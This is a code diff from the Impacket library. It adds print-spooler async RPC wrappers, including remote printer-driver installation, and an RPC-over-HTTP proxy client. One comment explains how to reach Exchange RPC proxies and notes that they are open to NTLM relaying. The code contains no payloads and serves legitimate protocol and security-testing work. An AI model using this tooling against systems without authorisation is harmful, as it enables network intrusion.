+    return dce.request(request, MSRPC_UUID_WINSPOOL)
+
+
+def hRpcAsyncEnumPrinters(dce, flags, name = NULL, level = 1):
+    """
+    RpcEnumPrinters enumerates available printers, print servers, domains, or print providers.
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244794.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param int flags: The types of print objects that this method enumerates. The value of this parameter is the
+    result of a bitwise OR of one or more of the Printer Enumeration Flags (section 2.2.3.7).
+    :param string name: NULL or a server name parameter as specified in Printer Server Name Parameters (section 3.1.4.1.4).
+    :param level: The level of printer information structure.
+
+    :return: a RpcEnumPrintersResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcAsyncEnumPrinters()
+    request['Flags'] = flags
+    request['Name'] = name
+    request['pPrinterEnum'] = NULL
+    request['Level'] = level
+    bytesNeeded = 0
+    try:
+        dce.request(request, MSRPC_UUID_WINSPOOL)
+    except DCERPCSessionError as e:
+        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:
+            raise
+        bytesNeeded = e.get_packet()['pcbNeeded']
+
+    request = RpcAsyncEnumPrinters()
+    request['Flags'] = flags
+    request['Name'] = name
+    request['Level'] = level
+
+    request['cbBuf'] = bytesNeeded
+    request['pPrinterEnum'] = b'a' * bytesNeeded
+    return dce.request(request, MSRPC_UUID_WINSPOOL)
+
+
+def hRpcAsyncAddPrinterDriver(dce, pName, pDriverContainer, dwFileCopyFlags):
+    """
+    RpcAddPrinterDriverEx installs a printer driver on the print server
+    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param pName
+    :param pDriverContainer
+    :param dwFileCopyFlags
+
+    :return: raises DCERPCSessionError on error.
+    """
+    request = RpcAsyncAddPrinterDriver()
+    request['pName'] = checkNullString(pName)
+    request['pDriverContainer'] = pDriverContainer
+    request['dwFileCopyFlags'] = dwFileCopyFlags
+
+    #return request
+    return dce.request(request, MSRPC_UUID_WINSPOOL)
+
+
+def hRpcAsyncEnumPrinterDrivers(dce, pName, pEnvironment, Level):
+    """
+    RpcEnumPrinterDrivers enumerates the printer drivers installed on a specified print server.
+    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param pName
+    :param pEnvironment
+    :param Level
+    :param pDrivers
+    :param cbBuf
+    :param pcbNeeded
+    :param pcReturned
+
+    :return: raises DCERPCSessionError on error.
+    """
+    # get value for cbBuf
+    request = RpcAsyncEnumPrinterDrivers()
+    request['pName']        = checkNullString(pName)
+    request['pEnvironment'] = pEnvironment
+    request['Level']        = Level
+    request['pDrivers']     = NULL
+    request['cbBuf']        = 0
+    try:
+        dce.request(request, MSRPC_UUID_WINSPOOL)
+    except DCERPCSessionError as e:
+        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:
+            raise
+        bytesNeeded = e.get_packet()['pcbNeeded']
+
+    # now do RpcEnumPrinterDrivers again
+    request = RpcAsyncEnumPrinterDrivers()
+    request['pName']        = checkNullString(pName)
+    request['pEnvironment'] = pEnvironment
+    request['Level']        = Level
+    request['pDrivers']     = b'a' * bytesNeeded
+    request['cbBuf']        = bytesNeeded
+
+    #return request
+    return dce.request(request, MSRPC_UUID_WINSPOOL)
+
+def hRpcAsyncGetPrinterDriverDirectory(dce, pName, pEnvironment, Level):
+    """
+    RpcAsyncGetPrinterDriverDirectory retrieves the path of the printer driver directory.
+    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/92206fb2-dd31-47f4-8d12-4cd239b71d78
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param pName
+    :param pEnvironment
+    :param Level
+    :param pDriverDirectory
+    :param cbBuf
+    :param pcbNeeded
+
+    :return: raises DCERPCSessionError on error.
+    """
+    # get value for cbBuf
+    request = RpcAsyncGetPrinterDriverDirectory()
+    request['pName']            = checkNullString(pName)
+    request['pEnvironment']     = pEnvironment
+    request['Level']            = Level
+    request['pDriverDirectory'] = NULL
+    request['cbBuf']            = 0
+    try:
+        dce.request(request, MSRPC_UUID_WINSPOOL)
+    except DCERPCSessionError as e:
+        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:
+            raise
+        bytesNeeded = e.get_packet()['pcbNeeded']
+    
+    # now do RpcGetPrinterDriverDirectory again
+    request = RpcAsyncGetPrinterDriverDirectory()
+    request['pName']            = checkNullString(pName)
+    request['pEnvironment']     = pEnvironment
+    request['Level']            = Level
+    request['pDriverDirectory'] = b'a' * bytesNeeded
+    request['cbBuf']            = bytesNeeded
+    
+    return dce.request(request, MSRPC_UUID_WINSPOOL)
diff --git a/impacket/dcerpc/v5/rpch.py b/impacket/dcerpc/v5/rpch.py
new file mode 100644
index 0000000..2e1b391
--- /dev/null
+++ b/impacket/dcerpc/v5/rpch.py
@@ -0,0 +1,849 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Initial [MS-RCPH] Interface implementation
+#
+# Author:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+
+import re
+import binascii
+from struct import unpack
+
+from impacket import uuid, ntlm, system_errors, nt_errors, LOG
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+from impacket.uuid import EMPTY_UUID
+from impacket.http import HTTPClientSecurityProvider, AUTH_BASIC
+from impacket.structure import Structure
+from impacket.dcerpc.v5.rpcrt import MSRPCHeader, \
+    MSRPC_RTS, PFC_FIRST_FRAG, PFC_LAST_FRAG
+
+class RPCProxyClientException(DCERPCException):
+    parser = re.compile(r'RPC Error: ([a-fA-F0-9]{1,8})')
+
+    def __init__(self, error_string=None, proxy_error=None):
+        rpc_error_code = None
+
+        if proxy_error is not None:
+            try:
+                search = self.parser.search(proxy_error)
+                rpc_error_code = int(search.group(1), 16)
+            except:
+                error_string += ': ' + proxy_error
+
+        DCERPCException.__init__(self, error_string, rpc_error_code)
+
+    def __str__(self):
+        if self.error_code is not None:
+            key = self.error_code
+            if key in system_errors.ERROR_MESSAGES:
+                error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+                return '%s, code: 0x%x - %s' % (self.error_string, self.error_code, error_msg_short)
+            elif key in nt_errors.ERROR_MESSAGES:
+                error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+                return '%s, code: 0x%x - %s' % (self.error_string, self.error_code, error_msg_short)
+            else:
+                return '%s: unknown code: 0x%x' % (self.error_string, self.error_code)
+        else:
+            return self.error_string
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+RPC_OVER_HTTP_v1 = 1
+RPC_OVER_HTTP_v2 = 2
+
+# Errors which might need handling
+
+# RPCProxyClient internal errors
+RPC_PROXY_REMOTE_NAME_NEEDED_ERR = 'Basic authentication in RPC proxy is used, ' \
+                                   'so coudn\'t obtain a target NetBIOS name from NTLMSSP to connect.'
+
+# Errors below contain a part of server responses
+RPC_PROXY_INVALID_RPC_PORT_ERR = 'Invalid RPC Port'
+RPC_PROXY_CONN_A1_0X6BA_ERR    = 'RPC Proxy CONN/A1 request failed, code: 0x6ba'
+RPC_PROXY_CONN_A1_404_ERR      = 'CONN/A1 request failed: HTTP/1.1 404 Not Found'
+RPC_PROXY_RPC_OUT_DATA_404_ERR = 'RPC_OUT_DATA channel: HTTP/1.1 404 Not Found'
+RPC_PROXY_CONN_A1_401_ERR      = 'CONN/A1 request failed: HTTP/1.1 401 Unauthorized'
+RPC_PROXY_HTTP_IN_DATA_401_ERR = 'RPC_IN_DATA channel: HTTP/1.1 401 Unauthorized'
+
+
+# 2.2.3.3 Forward Destinations
+FDClient   = 0x00000000
+FDInProxy  = 0x00000001
+FDServer   = 0x00000002
+FDOutProxy = 0x00000003
+
+RTS_FLAG_NONE            = 0x0000
+RTS_FLAG_PING            = 0x0001
+RTS_FLAG_OTHER_CMD       = 0x0002
+RTS_FLAG_RECYCLE_CHANNEL = 0x0004
+RTS_FLAG_IN_CHANNEL      = 0x0008
+RTS_FLAG_OUT_CHANNEL     = 0x0010
+RTS_FLAG_EOF             = 0x0020
+RTS_FLAG_ECHO            = 0x0040
+
+# 2.2.3.5 RTS Commands
+RTS_CMD_RECEIVE_WINDOW_SIZE      = 0x00000000
+RTS_CMD_FLOW_CONTROL_ACK         = 0x00000001
+RTS_CMD_CONNECTION_TIMEOUT       = 0x00000002
+RTS_CMD_COOKIE                   = 0x00000003
+RTS_CMD_CHANNEL_LIFETIME         = 0x00000004
+RTS_CMD_CLIENT_KEEPALIVE         = 0x00000005
+RTS_CMD_VERSION                  = 0x00000006
+RTS_CMD_EMPTY                    = 0x00000007
+RTS_CMD_PADDING                  = 0x00000008
+RTS_CMD_NEGATIVE_ANCE            = 0x00000009
+RTS_CMD_ANCE                     = 0x0000000A
+RTS_CMD_CLIENT_ADDRESS           = 0x0000000B
+RTS_CMD_ASSOCIATION_GROUP_ID     = 0x0000000C
+RTS_CMD_DESTINATION              = 0x0000000D
+RTS_CMD_PING_TRAFFIC_SENT_NOTIFY = 0x0000000E
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+# 2.2.3.1 RTS Cookie
+class RTSCookie(Structure):
+    structure = (
+        ('Cookie','16s=b"\\x00"*16'),
+    )
+
+# 2.2.3.2 Client Address
+class EncodedClientAddress(Structure):
+    structure = (
+        ('AddressType','<L=(0 if len(ClientAddress) == 4 else 1)'),
+        ('_ClientAddress','_-ClientAddress','4 if AddressType == 0 else 16'),
+        ('ClientAddress',':'),
+        ('Padding','12s=b"\\x00"*12'),
+    )
+
+# 2.2.3.4 Flow Control Acknowledgment
+class Ack(Structure):
+    structure = (
+        ('BytesReceived','<L=0'),
+        ('AvailableWindow','<L=0'),
+        ('ChannelCookie',':',RTSCookie),
+    )
+
+# 2.2.3.5.1 ReceiveWindowSize
+class ReceiveWindowSize(Structure):
+    structure = (
+        ('CommandType','<L=0'),
+        ('ReceiveWindowSize','<L=262144'),
+    )
+
+# 2.2.3.5.2 FlowControlAck
+class FlowControlAck(Structure):
+    structure = (
+        ('CommandType','<L=1'),
+        ('Ack',':',Ack),
+    )
+
+# 2.2.3.5.3 ConnectionTimeout
+class ConnectionTimeout(Structure):
+    structure = (
+        ('CommandType','<L=2'),
+        ('ConnectionTimeout','<L=120000'),
+    )
+
+# 2.2.3.5.4 Cookie
+class Cookie(Structure):
+    structure = (
+        ('CommandType','<L=3'),
+        ('Cookie',':',RTSCookie),
+    )
+
+# 2.2.3.5.5 ChannelLifetime
+class ChannelLifetime(Structure):
+    structure = (
+        ('CommandType','<L=4'),
+        ('ChannelLifetime','<L=1073741824'),
+    )
+
+# 2.2.3.5.6 ClientKeepalive
+#
+# By the spec, ClientKeepalive value can be 0 or in the inclusive
+# range of 60,000 through 4,294,967,295.
+# If it is 0, it MUST be interpreted as 300,000.
+#
+# But do not set it to 0, it will cause 0x6c0 rpc error.
+class ClientKeepalive(Structure):
+    structure = (
+        ('CommandType','<L=5'),
+        ('ClientKeepalive','<L=300000'),
+    )
+
+# 2.2.3.5.7 Version
+class Version(Structure):
+    structure = (
+        ('CommandType','<L=6'),
+        ('Version','<L=1'),
+    )
+
+# 2.2.3.5.8 Empty
+class Empty(Structure):
+    structure = (
+        ('CommandType','<L=7'),
+    )
+
+# 2.2.3.5.9 Padding
+class Padding(Structure):
+    structure = (
+        ('CommandType','<L=8'),
+        ('ConformanceCount','<L=len(Padding)'),
+        ('Padding','*ConformanceCount'),
+    )
+
+# 2.2.3.5.10 NegativeANCE
+class NegativeANCE(Structure):
+    structure = (
+        ('CommandType','<L=9'),
+    )
+
+# 2.2.3.5.11 ANCE
+class ANCE(Structure):
+    structure = (
+        ('CommandType','<L=0xA'),
+    )
+
+# 2.2.3.5.12 ClientAddress
+class ClientAddress(Structure):
+    structure = (
+        ('CommandType','<L=0xB'),
+        ('ClientAddress',':',EncodedClientAddress),
+    )
+
+# 2.2.3.5.13 AssociationGroupId
+class AssociationGroupId(Structure):
+    structure = (
+        ('CommandType','<L=0xC'),
+        ('AssociationGroupId',':',RTSCookie),
+    )
+
+# 2.2.3.5.14 Destination
+class Destination(Structure):
+    structure = (
+        ('CommandType','<L=0xD'),
+        ('Destination','<L'),
+    )
+
+# 2.2.3.5.15 PingTrafficSentNotify
+class PingTrafficSentNotify(Structure):
+    structure = (
+        ('CommandType','<L=0xE'),
+        ('PingTrafficSent','<L'),
+    )
+
+COMMANDS = {
+    0x0: ReceiveWindowSize,
+    0x1: FlowControlAck,
+    0x2: ConnectionTimeout,
+    0x3: Cookie,
+    0x4: ChannelLifetime,
+    0x5: ClientKeepalive,
+    0x6: Version,
+    0x7: Empty,
+    0x8: Padding,
+    0x9: NegativeANCE,
+    0xA: ANCE,
+    0xB: ClientAddress,
+    0xC: AssociationGroupId,
+    0xD: Destination,
+    0xE: PingTrafficSentNotify,
+}
+
+# 2.2.3.6.1 RTS PDU Header
+# The RTS PDU Header has the same layout as the common header of
+# the connection-oriented RPC PDU as specified in [C706] section 12.6.1,
+# with a few additional requirements around the contents of the header fields.
+class RTSHeader(MSRPCHeader):
+    _SIZE = 20
+    commonHdr = MSRPCHeader.commonHdr + (
+        ('Flags','<H=0'),             # 16
+        ('NumberOfCommands','<H=0'),  # 18
+    )
+
+    def __init__(self, data=None, alignment=0):
+        MSRPCHeader.__init__(self, data, alignment)
+        self['type'] = MSRPC_RTS
+        self['flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG
+        self['auth_length'] = 0
+        self['call_id'] = 0
+
+# 2.2.4.2 CONN/A1 RTS PDU
+#
+# The CONN/A1 RTS PDU MUST be sent from the client to the outbound proxy on the OUT channel to
+# initiate the establishment of a virtual connection.
+class CONN_A1_RTS_PDU(Structure):
+    structure = (
+        ('Version',':',Version),
+        ('VirtualConnectionCookie',':',Cookie),
+        ('OutChannelCookie',':',Cookie),
+        ('ReceiveWindowSize',':',ReceiveWindowSize),
+    )
+
+# 2.2.4.5 CONN/B1 RTS PDU
+#
+# The CONN/B1 RTS PDU MUST be sent from the client to the inbound proxy on the IN channel to
+# initiate the establishment of a virtual connection.
+class CONN_B1_RTS_PDU(Structure):
+    structure = (
+        ('Version',':',Version),
+        ('VirtualConnectionCookie',':',Cookie),
+        ('INChannelCookie',':',Cookie),
+        ('ChannelLifetime',':',ChannelLifetime),
+        ('ClientKeepalive',':',ClientKeepalive),
+        ('AssociationGroupId',':',AssociationGroupId),
+    )
+
+# 2.2.4.4 CONN/A3 RTS PDU
+#
+# The CONN/A3 RTS PDU MUST be sent from the outbound proxy to the client on the OUT channel to
+# continue the establishment of the virtual connection.
+class CONN_A3_RTS_PDU(Structure):
+    structure = (
+        ('ConnectionTimeout',':',ConnectionTimeout),
+    )
+
+# 2.2.4.9 CONN/C2 RTS PDU
+#
+# The CONN/C2 RTS PDU MUST be sent from the outbound proxy to the client on the OUT channel to
+# notify it that a virtual connection has been established.
+class CONN_C2_RTS_PDU(Structure):
+    structure = (
+        ('Version',':',Version),
+        ('ReceiveWindowSize',':',ReceiveWindowSize),
+        ('ConnectionTimeout',':',ConnectionTimeout),
+    )
+
+# 2.2.4.51 FlowControlAckWithDestination RTS PDU
+class FlowControlAckWithDestination_RTS_PDU(Structure):
+    structure = (
+        ('Destination',':',Destination),
+        ('FlowControlAck',':',FlowControlAck),
+    )
+
+################################################################################
+# HELPERS
+################################################################################
+def hCONN_A1(virtualConnectionCookie=EMPTY_UUID, outChannelCookie=EMPTY_UUID, receiveWindowSize=262144):
+    conn_a1 = CONN_A1_RTS_PDU()
+    conn_a1['Version'] = Version()
+    conn_a1['VirtualConnectionCookie'] = Cookie()
+    conn_a1['VirtualConnectionCookie']['Cookie'] = virtualConnectionCookie
+    conn_a1['OutChannelCookie'] = Cookie()
+    conn_a1['OutChannelCookie']['Cookie'] = outChannelCookie
+    conn_a1['ReceiveWindowSize'] = ReceiveWindowSize()
+    conn_a1['ReceiveWindowSize']['ReceiveWindowSize'] = receiveWindowSize
+
+    packet = RTSHeader()
+    packet['Flags'] = RTS_FLAG_NONE
+    packet['NumberOfCommands'] = len(conn_a1.structure)
+    packet['pduData'] = conn_a1.getData()
+
+    return packet.getData()
+
+def hCONN_B1(virtualConnectionCookie=EMPTY_UUID, inChannelCookie=EMPTY_UUID, associationGroupId=EMPTY_UUID):
+    conn_b1 = CONN_B1_RTS_PDU()
+    conn_b1['Version'] = Version()
+    conn_b1['VirtualConnectionCookie'] = Cookie()
+    conn_b1['VirtualConnectionCookie']['Cookie'] = virtualConnectionCookie
+    conn_b1['INChannelCookie'] = Cookie()
+    conn_b1['INChannelCookie']['Cookie'] = inChannelCookie
+    conn_b1['ChannelLifetime'] = ChannelLifetime()
+    conn_b1['ClientKeepalive'] = ClientKeepalive()
+    conn_b1['AssociationGroupId'] = AssociationGroupId()
+    conn_b1['AssociationGroupId']['AssociationGroupId'] = RTSCookie()
+    conn_b1['AssociationGroupId']['AssociationGroupId']['Cookie'] = associationGroupId
+
+    packet = RTSHeader()
+    packet['Flags'] = RTS_FLAG_NONE
+    packet['NumberOfCommands'] = len(conn_b1.structure)
+    packet['pduData'] = conn_b1.getData()
+
+    return packet.getData()
+
+def hFlowControlAckWithDestination(destination, bytesReceived, availableWindow, channelCookie):
+    rts_pdu = FlowControlAckWithDestination_RTS_PDU()
+    rts_pdu['Destination'] = Destination()
+    rts_pdu['Destination']['Destination'] = destination
+    rts_pdu['FlowControlAck'] = FlowControlAck()
+    rts_pdu['FlowControlAck']['Ack'] = Ack()
+    rts_pdu['FlowControlAck']['Ack']['BytesReceived'] = bytesReceived
+    rts_pdu['FlowControlAck']['Ack']['AvailableWindow'] = availableWindow
+
+    # Cookie of the channel for which the traffic received is being acknowledged
+    rts_pdu['FlowControlAck']['Ack']['ChannelCookie'] = RTSCookie()
+    rts_pdu['FlowControlAck']['Ack']['ChannelCookie']['Cookie'] = channelCookie
+
+    packet = RTSHeader()
+    packet['Flags'] = RTS_FLAG_OTHER_CMD
+    packet['NumberOfCommands'] = len(rts_pdu.structure)
+    packet['pduData'] = rts_pdu.getData()
+
+    return packet.getData()
+
+def hPing():
+    packet = RTSHeader()
+    packet['Flags'] = RTS_FLAG_PING
+
+    return packet.getData()
+
+################################################################################
+# CLASSES
+################################################################################
+class RPCProxyClient(HTTPClientSecurityProvider):
+    RECV_SIZE = 8192
+    default_headers = {'User-Agent'   : 'MSRPC',
+                       'Cache-Control': 'no-cache',
+                       'Connection'   : 'Keep-Alive',
+                       'Expect'       : '100-continue',
+                       'Accept'       : 'application/rpc',
+                       'Pragma'       : 'No-cache'
+                      }
+
+    def __init__(self, remoteName=None, dstport=593):
+        HTTPClientSecurityProvider.__init__(self)
+        self.__remoteName  = remoteName
+        self.__dstport     = dstport
+
+        # Chosen auth type
+        self.__auth_type = None
+
+        self.init_state()
+
+    def init_state(self):
+        self.__channels    = {}
+
+        self.__inChannelCookie         = uuid.generate()
+        self.__outChannelCookie        = uuid.generate()
+        self.__associationGroupId      = uuid.generate()
+        self.__virtualConnectionCookie = uuid.generate()
+
+        self.__serverConnectionTimeout = None
+        self.__serverReceiveWindowSize = None
+        self.__availableWindowAdvertised = 262144 # 256k
+        self.__receiverAvailableWindow = self.__availableWindowAdvertised
+        self.__bytesReceived = 0
+
+        self.__serverChunked = False
+        self.__readBuffer = b''
+        self.__chunkLeft = 0
+
+        self.rts_ping_received = False
+
+    def set_proxy_credentials(self, username, password, domain='', lmhash='', nthash=''):
+        LOG.error("DeprecationWarning: Call to deprecated method set_proxy_credentials (use set_credentials).")
+        self.set_credentials(username, password, domain, lmhash, nthash)
+
+    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
+        HTTPClientSecurityProvider.set_credentials(self, username, password,
+            domain, lmhash, nthash, aesKey, TGT, TGS)
+
+    def create_rpc_in_channel(self):
+        headers = self.default_headers.copy()
+        headers['Content-Length'] = '1073741824'
+
+        self.create_channel('RPC_IN_DATA', headers)
+
+    def create_rpc_out_channel(self):
+        headers = self.default_headers.copy()
+        headers['Content-Length'] = '76'
+
+        self.create_channel('RPC_OUT_DATA', headers)
+
+    def create_channel(self, method, headers):
+        self.__channels[method] = HTTPClientSecurityProvider.connect(self, self._rpcProxyUrl.scheme,
+                                    self._rpcProxyUrl.netloc)
+
+        auth_headers = HTTPClientSecurityProvider.get_auth_headers(self, self.__channels[method],
+                           method, self._rpcProxyUrl.path, headers)[0]
+
+        headers_final = {}
+        headers_final.update(headers)
+        headers_final.update(auth_headers)
+
+        self.__auth_type = HTTPClientSecurityProvider.get_auth_type(self)
+
+        # To connect to an RPC Server, we need to let the RPC Proxy know
+        # where to connect. The target RPC Server name and its port are passed
+        # in the query of the HTTP request. The target RPC Server must be the ncacn_http
+        # service.
+        #
+        # The utilized format: /rpc/rpcproxy.dll?RemoteName:RemotePort
+        #
+        # For RDG servers, you can specify localhost:3388, but in other cases you cannot
+        # use localhost as there will be no ACL for it.
+        #
+        # To know what RemoteName to use, we rely on Default ACL. It's specified
+        # in the HKLM\SOFTWARE\Microsoft\Rpc\RpcProxy key:
+        #
+        # ValidPorts    REG_SZ   COMPANYSERVER04:593;COMPANYSERVER04:49152-65535
+        #
+        # In this way, we can at least connect to the endpoint mapper on port 593.
+        # So, if the caller set remoteName to an empty string, we assume the target
+        # is the RPC Proxy server itself, and get its NetBIOS name from the NTLMSSP.
+        #
+        # Interestingly, if the administrator renames the server after RPC Proxy installation
+        # or joins the server to the domain after RPC Proxy installation, the ACL will remain
+        # the original. So, sometimes the ValidPorts values have the format WIN-JCKEDQVDOQU, and
+        # we are not able to use them.
+        #
+        # For Exchange servers, the value of the default ACL doesn't matter as they
+        # allow connections by their own mechanisms:
+        # - Exchange 2003 / 2007 / 2010 servers add their own ACL, which includes
+        #   NetBIOS names of all Exchange servers (and some other servers).
+        #   This ACL is regularly and automatically updated on each server.
+        #   Allowed ports: 6001-6004
+        #
+        #   6001 is used for MS-OXCRPC
+        #   6002 is used for MS-OXABREF
+        #   6003 is not used
+        #   6004 is used for MS-OXNSPI
+        #
+        #   Tests on Exchange 2010 show that MS-OXNSPI and MS-OXABREF are available
+        #   on both 6002 and 6004.
+        #
+        # - Exchange 2013 / 2016 / 2019 servers process RemoteName on their own
+        #   (via RpcProxyShim.dll), and the NetBIOS name format is supported only for
+        #   backward compatibility.
+        #
+        #   ! Default ACL is never used, so there is no way to connect to the endpoint mapper!
+        #
+        #   Allowed ports: 6001-6004
+        #
+        #   6001 is used for MS-OXCRPC
+        #   6002 is used for MS-OXABREF
+        #   6003 is not used
+        #   6004 is used for MS-OXNSPI
+        #
+        # Tests show that all protocols are available on the 6001 / 6002 / 6004 ports via
+        # RPC over HTTP v2, and the separation is only used for backward compatibility.
+        #
+        # The pure ncacn_http endpoint is available only on the 6001 TCP/IP port.
+        #
+        # RpcProxyShim.dll allows you to skip authentication on the RPC level to get
+        # a faster connection, and it makes Exchange 2013 / 2016 / 2019 RPC over HTTP v2
+        # endpoints vulnerable to NTLM-Relaying attacks.
+        #
+        # If the target is Exchange behind Microsoft TMG, you most likely need to specify
+        # the remote name manually using the value from /autodiscover/autodiscover.xml.
+        # Note that /autodiscover/autodiscover.xml might not be available with
+        # a non-outlook User-Agent.
+        #
+        # There may be multiple RPC Proxy servers with different NetBIOS names on
+        # a single external IP. We store the first one's NetBIOS name and use it for all
+        # the following channels.
+        # It's acceptable to assume all RPC Proxies have the same ACLs (true for Exchange).
+        if not self.__remoteName and self.__auth_type == AUTH_BASIC:
+            raise RPCProxyClientException(RPC_PROXY_REMOTE_NAME_NEEDED_ERR)
+
+        if not self.__remoteName:
+            ntlmssp = self.get_ntlmssp_info()
+            self.__remoteName = ntlmssp[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
+            self._stringbinding.set_network_address(self.__remoteName)
+            LOG.debug('StringBinding has been changed to %s' % self._stringbinding)
+
+        if not self._rpcProxyUrl.query:
+            query = self.__remoteName + ':' + str(self.__dstport)
+            self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query)
+
+        path = self._rpcProxyUrl.path + '?' + self._rpcProxyUrl.query
+
+        self.__channels[method].request(method, path, headers=headers_final)
+        self._read_100_continue(method)
+
+    def _read_100_continue(self, method):
+        resp = self.__channels[method].sock.recv(self.RECV_SIZE)
+
+        while resp.find(b'\r\n\r\n') == -1:
+            resp += self.__channels[method].sock.recv(self.RECV_SIZE)
+
+        # Continue responses can have multiple lines, for example:
+        #
+        # HTTP/1.1 100 Continue
+        # Via: 1.1 FIREWALL1
+        #
+        # Don't expect the response to contain "100 Continue\r\n\r\n"
+        if resp[9:23] != b'100 Continue\r\n':
+            try:
+                # The server (IIS) may return localized error messages in
+                # the first line. Tests shown they are in UTF-8.
+                resp = resp.split(b'\r\n')[0].decode("UTF-8", errors='replace')
+
+                raise RPCProxyClientException('RPC Proxy Client: %s authentication failed in %s channel' %
+                    (self.__auth_type, method), proxy_error=resp)
+            except (IndexError, KeyError, AttributeError):
+                raise RPCProxyClientException('RPC Proxy Client: %s authentication failed in %s channel' %
+                    (self.__auth_type, method))
+
+    def create_tunnel(self):
+        # 3.2.1.5.3.1 Connection Establishment
+        packet = hCONN_A1(self.__virtualConnectionCookie, self.__outChannelCookie, self.__availableWindowAdvertised)
+        self.get_socket_out().send(packet)
+
+        packet = hCONN_B1(self.__virtualConnectionCookie, self.__inChannelCookie, self.__associationGroupId)
+        self.get_socket_in().send(packet)
+
+        resp = self.get_socket_out().recv(self.RECV_SIZE)
+
+        while resp.find(b'\r\n\r\n') == -1:
+            resp += self.get_socket_out().recv(self.RECV_SIZE)
+
+        if resp[9:12] != b'200':
+            try:
+                # The server (IIS) may return localized error messages in
+                # the first line. Tests shown they are in UTF-8.
+                resp = resp.split(b'\r\n')[0].decode("UTF-8", errors='replace')
+
+                raise RPCProxyClientException('RPC Proxy CONN/A1 request failed', proxy_error=resp)
+            except (IndexError, KeyError, AttributeError):
+                raise RPCProxyClientException('RPC Proxy CONN/A1 request failed')
+
+        resp_ascii = resp.decode("ASCII", errors='replace')
+        if "transfer-encoding: chunked" in resp_ascii.lower():
+            self.__serverChunked = True
+
+        # If the body is here, let's send it to rpc_out_recv1()
+        self.__readBuffer = resp[resp.find(b'\r\n\r\n') + 4:]
+
+        # Recieving and parsing CONN/A3
+        conn_a3_rpc = self.rpc_out_read_pkt()
+        conn_a3_pdu = RTSHeader(conn_a3_rpc)['pduData']
+        conn_a3 = CONN_A3_RTS_PDU(conn_a3_pdu)
+        self.__serverConnectionTimeout = conn_a3['ConnectionTimeout']['ConnectionTimeout']
+
+        # Recieving and parsing CONN/C2
+        conn_c2_rpc = self.rpc_out_read_pkt()
+        conn_c2_pdu = RTSHeader(conn_c2_rpc)['pduData']
+        conn_c2 = CONN_C2_RTS_PDU(conn_c2_pdu)
+        self.__serverReceiveWindowSize = conn_c2['ReceiveWindowSize']['ReceiveWindowSize']
+
+    def get_socket_in(self):
+        return self.__channels['RPC_IN_DATA'].sock
+
+    def get_socket_out(self):
+        return self.__channels['RPC_OUT_DATA'].sock
+
+    def close_rpc_in_channel(self):
+        return self.__channels['RPC_IN_DATA'].close()
+
+    def close_rpc_out_channel(self):
+        return self.__channels['RPC_OUT_DATA'].close()
+
+    def check_http_error(self, buffer):
+        if buffer[:22] == b'HTTP/1.0 503 RPC Error':
+            raise RPCProxyClientException('RPC Proxy request failed', proxy_error=buffer)
+
+    def rpc_out_recv1(self, amt=None):
+        # Read with at most one underlying system call.
+        # The function MUST return the maximum amt bytes.
+        #
+        # Strictly speaking, it may cause more than one read,
+        # but that is ok, since that is to satisfy the chunked protocol.
+        sock = self.get_socket_out()
+
+        if self.__serverChunked is False:
+            if len(self.__readBuffer) > 0:
+                buffer = self.__readBuffer
+                self.__readBuffer = b''
+            else:
+                # Let's read RECV_SIZE bytes and not amt bytes.
+                # We would need to check the answer for HTTP errors, as
+                # they can just appear in the middle of the stream.
+                buffer = sock.recv(self.RECV_SIZE)
+
+            self.check_http_error(buffer)
+
+            if len(buffer) <= amt:
+                return buffer
+
+            # We received more than we need
+            self.__readBuffer = buffer[amt:]
+            return buffer[:amt]
+
+        # Check if the previous chunk is still there
+        if self.__chunkLeft > 0:
+            # If the previous chunk is still there,
+            # just give the caller what we already have
+            if amt >= self.__chunkLeft:
+                buffer = self.__readBuffer[:self.__chunkLeft]
+                # We may have recieved a part of a new chunk
+                self.__readBuffer = self.__readBuffer[self.__chunkLeft + 2:]
+                self.__chunkLeft = 0
+
+                return buffer
+            else:
+                buffer = self.__readBuffer[:amt]
+                self.__readBuffer = self.__readBuffer[amt:]
+                self.__chunkLeft -= amt
+
+                return buffer
+
+        # Let's start to process a new chunk
+        buffer = self.__readBuffer
+        self.__readBuffer = b''
+
+        self.check_http_error(buffer)
+
+        # Let's receive a chunk size field which ends with CRLF
+        # For Microsoft TMG 2010 it can cause more than one read
+        while buffer.find(b'\r\n') == -1:
+            buffer += sock.recv(self.RECV_SIZE)
+            self.check_http_error(buffer)
+
+        chunksize = int(buffer[:buffer.find(b'\r\n')], 16)
+        buffer = buffer[buffer.find(b'\r\n') + 2:]
+
+        # Let's read at least our chunk including final CRLF
+        while len(buffer) - 2 < chunksize:
+            buffer += sock.recv(chunksize - len(buffer) + 2)
+
+        # We should not be using any information from
+        # the TCP level to determine HTTP boundaries.
+        # So, we may have received more than we need.
